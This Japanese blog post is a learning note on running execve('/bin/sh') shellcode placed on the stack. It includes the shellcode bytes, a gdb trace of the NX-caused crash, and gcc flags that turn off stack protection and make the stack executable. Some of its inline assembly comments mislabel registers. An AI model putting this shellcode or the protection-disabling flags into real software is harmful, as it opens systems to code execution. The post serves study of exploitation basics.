スタック上のシェルコードを実行してみる

前回作成したシェルコードが動くことが確認できたので、今度は関数として呼び出して実行してみる。

// shellcode_test.c
int main()
{
  char shellcode[] =
    "\x31\xd2"              // xor  %edx, %edx
    "\x52"                  // push %edx
    "\x68\x6e\x2f\x73\x68"  // push $0x68732f6e
    "\x68\x2f\x2f\x62\x69"  // push $0x69622f2f
    "\x89\xe3"              // mov  %esp,%edx
    "\x52"                  // push %edx
    "\x53"                  // push %edx
    "\x89\xe1"              // mov  %esp, %ecx
    "\x8d\x42\x0b"          // lea  0xb(%edx),%eax
    "\xcd\x80";             // int  $0x80
 
  (*(void (*)())shellcode)();
 
  return 0;
}

$gcc -m32 shellcode_test.c
$./a.out

Segmentation fault

動きませんでした。というわけでgdbでおいかけてみる。

$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483cc <+0>:	lea    ecx,[esp+0x4]
   0x080483d0 <+4>:	and    esp,0xfffffff0
   0x080483d3 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080483d6 <+10>:	push   ebp
   0x080483d7 <+11>:	mov    ebp,esp
   0x080483d9 <+13>:	push   ecx
   0x080483da <+14>:	sub    esp,0x24
   0x080483dd <+17>:	mov    DWORD PTR [ebp-0x21],0x6852d231
   0x080483e4 <+24>:	mov    DWORD PTR [ebp-0x1d],0x68732f6e
   0x080483eb <+31>:	mov    DWORD PTR [ebp-0x19],0x622f2f68
   0x080483f2 <+38>:	mov    DWORD PTR [ebp-0x15],0x52e38969
   0x080483f9 <+45>:	mov    DWORD PTR [ebp-0x11],0x8de18953
   0x08048400 <+52>:	mov    DWORD PTR [ebp-0xd],0x80cd0b42
   0x08048407 <+59>:	mov    BYTE PTR [ebp-0x9],0x0
   0x0804840b <+63>:	lea    eax,[ebp-0x21]
   0x0804840e <+66>:	call   eax
   0x08048410 <+68>:	mov    eax,0x0
   0x08048415 <+73>:	add    esp,0x24
   0x08048418 <+76>:	pop    ecx
   0x08048419 <+77>:	pop    ebp
   0x0804841a <+78>:	lea    esp,[ecx-0x4]
   0x0804841d <+81>:	ret    
End of assembler dump.
(gdb) 

シェルコードを初期化して、eaxレジスタに格納して、ちゃんとcallしているように見える。
ということで、gdbでシェルコードの先頭まで移動。

(gdb) b *0x0804840e
Breakpoint 1 at 0x804840e
(gdb) run
Starting program: /*****************/a.out 

Breakpoint 1, 0x0804840e in main ()
(gdb) si
0xffffd387 in ?? ()
(gdb) x/15i $esp
   0xffffd37c:	adc    BYTE PTR [esp+eax*1-0x2a39f8],al
   0xffffd383:	jmp    FWORD PTR [edi]
   0xffffd385:	add    BYTE PTR [eax],al
=> 0xffffd387:	xor    edx,edx
   0xffffd389:	push   edx
   0xffffd38a:	push   0x68732f6e
   0xffffd38f:	push   0x69622f2f
   0xffffd394:	mov    ebx,esp
   0xffffd396:	push   edx
   0xffffd397:	push   ebx
   0xffffd398:	mov    ecx,esp
   0xffffd39a:	lea    eax,[edx+0xb]
   0xffffd39d:	int    0x80
   0xffffd39f:	add    ah,al
   0xffffd3a1:	arpl   dx,di

0xffffd387 から 0xffffd39d までがシェルコード。別に変な命令ではありません。
ということで、つぎの命令を実行してみると。

(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0xffffd387 in ?? ()

はい死んだー。

ちゃんとした命令を実行してるのにおかしいなーと調べてみると、どうもamd64(x86_64)にはNXビットというものがあるらしく、スタック領域というか、データ領域のプログラムを実行することができないみたい。(え、今さら?知らないの俺だけ?)

ということで、最近のPCだとこのアプローチではバッファオーバーフロー攻撃はできないようです。
実験レベルであればgccのオプションでスタック領域のコードを実行可能にしちゃえばいいわけですが。

gcc -m32 -fno-stack-protector -z execstack shellcode_test.c

でも残念ながらこれだけでは本のバッファオーバーフロー攻撃のサンプルコードは動かない。というのは、多分アドレスのランダム化(ASLR)が行われているからで、戻りアドレスにNOPスレッドを置けていないわけですね。

ASLRを無効化するにはsysctrlでカーネルのパラメータを変更しなきゃいけない。

とうことで、もしかして “Hacking 美しき策謀” は既に古典入り?
良書なので、第3版でまたまた大幅改訂してx64アーキテクチャに対応すると嬉しいですな。

スポンサーリンク

フォローする

スポンサーリンク